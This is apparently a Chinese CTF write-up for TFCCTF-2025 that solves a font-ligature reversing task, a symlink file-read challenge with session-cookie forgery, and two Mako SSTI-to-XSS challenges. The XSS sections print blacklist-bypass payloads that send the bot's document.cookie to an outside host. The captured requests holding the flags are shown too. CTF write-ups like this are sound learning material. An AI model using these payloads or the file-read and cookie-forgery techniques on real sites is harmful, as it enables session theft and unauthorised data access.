TFCCTF-2025
DISCORD SHENANIGANS V5
简单的零宽字符隐写,不多赘述
FONT LEAGUES
GPT教学局
题目提供了两个文件:
index.html
:简单页面,包含一个<textarea>
,指定使用自定义字体Arial-custom.ttf
。源码没有任何校验逻辑,只提示“如果正确你会看到一个 O”。Arial-custom.ttf
:定制字体文件。
题目名为 FONT LEAGUES,暗示考点与 字体替换/连字机制 (OpenType GSUB) 有关。
分析自定义字体
使用 fontTools
对 Arial-custom.ttf
进行解析,重点关注 GSUB (Glyph Substitution) 表。
- GSUB 表包含大量 LookupType=4 (LigatureSubst) 规则。
- 这些规则将一串字形合成为一个新的字形,新字形命名规则类似:
O<一长串哈希样的十六进制>
确认最终目标字形
我们希望找出页面所说的 “O” 字形。
- 在所有 ligature 的”收敛字形”中,找到一个具有 双轮廓 (2 contours) 且边界框面积最大者。
- 确认其字形名为:
O162e219bca79a462f9cf5701124cf74c
- 这个字形渲染出来就是一个标准的圆环”O”,对应网页提示中的”正确结果”。
反向展开得到输入序列
从 O162e219bca79a462f9cf5701124cf74c
反向回溯 ligature 规则:
- 每个字形会被展开成一组基础字形。
- 基础字形名如
one, two, a, b, f, ...
,正好对应 十六进制字符。
最终得到的展开序列拼接后是一个 64 位十六进制字符串:1f89a957a0816e3bea3fa026cd9a47cf181fb2c0e0c9e9442a2c783b01c083d2
flagTFCCTF{1f89a957a0816e3bea3fa026cd9a47cf181fb2c0e0c9e9442a2c783b01c083d2}
SLIPPY
index.js
1 | const express = require('express'); |
普通用户可以通过符号链接读取服务器的任意文件,但是由于flag.txt的路径随机,所以需要先想办法列出根目录的文件夹,明显是通过 /debug/files
来实现,但是调用这个接口需要先进入develop模式。
由于目前已经可以实现任意文件读,因此我们可以直接读取 /app/.env
和 /app/server.js
,从而伪造 connect.sid
伪造并列出根目录的脚本
1 | import hmac |
然后
1 | ln -s /tlhedn6f/flag.txt pwnlink |
上传pwn.zip再download即可获取flag
flagTFCCTF{3at_sl1P_h4Ck_r3p3at_5af9f1}
KISSFIXESS
main.py
1 | from http.server import HTTPServer, BaseHTTPRequestHandler |
漏洞成因:Mako SSTI 可导致 XSS -> 读 bot 的 cookie
- 服务器把用户输入
name_input
先替换进模板源代码,然后才让 Mako 编译与渲染:
1 | templ = html_template.replace("NAME", escape_html(name_to_display or "")) |
也就是说,我们的输入会进入 Mako 模板源 再被 Mako 解析执行(而不是只作为纯文本)。这是典型的SSTI场景。
2. 题目做了两层限制:
escape_html()
仅转义了& < > ( )
;没有转义${}
,而${ ... }
正是 Mako 表达式的执行语法。- 黑名单
banned = ["s","l","(",")","self","_",".","\"", "\\", "import", "eval", "exec", "os", ";", ",", "|"]
:如果输入里包含这些,就把名字直接替换成固定字符串。但黑名单只禁了小写 s/l、双引号等,没有禁止${}
、方括号、反引号、加号、冒号等,也没有禁止大写。
- 模板向渲染环境里注入了变量
banned="&<>()"
。这给了我们一个字符生成器:banned[1] 是 <,banned[2] 是 >,banned[3] 是 (,banned[4] 是 )
。这样即使输入里不能出现<>()
,也能在 Mako 表达式里拼出来。 - bot 端逻辑:Selenium 打开站点后,手动种入名为 flag 的 cookie,再访问我们提交的
/?name_input=...
页面,且停留 200 秒,让前端 JS 有充足时间执行。只要我们能在 bot 的页面里执行 JS,就能读到 document.cookie 并外带。
综上:通过 Mako SSTI → 反射 XSS,在 bot 的浏览器中运行 JS,读取并外带 flag cookie。
绕过思路
- 用大写标签名绕过小写s黑名单
- 用反引号作 JS 的字符串/属性访问(例如
window[`open`]、window[`document`][`cookie`]
),避免在 JS 中使用单/双引号 - 用模板变量
banned[1..4]
生成< > ( )
- 用
window[`open`]
替代window[`location`]
来发请求,绕过小写l黑名单 - 用
String[`fromCharCode`](46)
生成点号.
最终payload
1 | ${banned[1]+'SCRIPT'+banned[2]+'window['+'`open`'+']'+banned[3]+'`http://xx`'+'+'+'String[`fromCharCode`]'+banned[3]+'46'+banned[4]+'+'+'`xxx`'+'+'+'String[`fromCharCode`]'+banned[3]+'46'+banned[4]+'+'+'`xx`'+'+'+'String[`fromCharCode`]'+banned[3]+'46'+banned[4]+'+'+'`xxx?c=`'+'+'+'window['+'`document`'+']['+'`cookie`'+']'+banned[4]+banned[1]+'/SCRIPT'+banned[2]} |
1 | GET /?c=flag=TFCCTF{769d12568fc45f14056cbabec2421548a839fa464786dc2013b2453dab9c3cbe} HTTP/1.1 |
flagTFCCTF{769d12568fc45f14056cbabec2421548a839fa464786dc2013b2453dab9c3cbe}
KISSFIXESS REVENGE
与上题相比,改动如下
1 | banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "&", "%", "^", "#", "@", "!", "*", "-", "import", "eval", "exec", "os", ";", ",", "|", "JAVASCRIPT", "window", "atob", "btoa", "="] |
目前构造的payload
1 | ${banned[1]+'SCRIPT'+banned[2]+'window['+'`open`'+']'+banned[3]+'`http://796397207/`'+'+'+'window['+'`document`'+']['+'`cookie`'+']'+banned[4]+banned[1]+'/SCRIPT'+banned[2]} |
只差绕过window
哦,可以用fetch
1 | ${banned[1]+'SCRIPT'+banned[2]+'window['+'`open`'+']'+banned[3]+'`http://796397207/`'+'+'+'window['+'`document`'+']['+'`cookie`'+']'+banned[4]+banned[1]+'/SCRIPT'+banned[2]} |
1 | GET /flag=TFCCTF%7Br3v3ng3_15_s0_sw33t!!!!!!!!!!!!%7D HTTP/1.1 |
flagTFCCTF{r3v3ng3_15_s0_sw33t!!!!!!!!!!!!}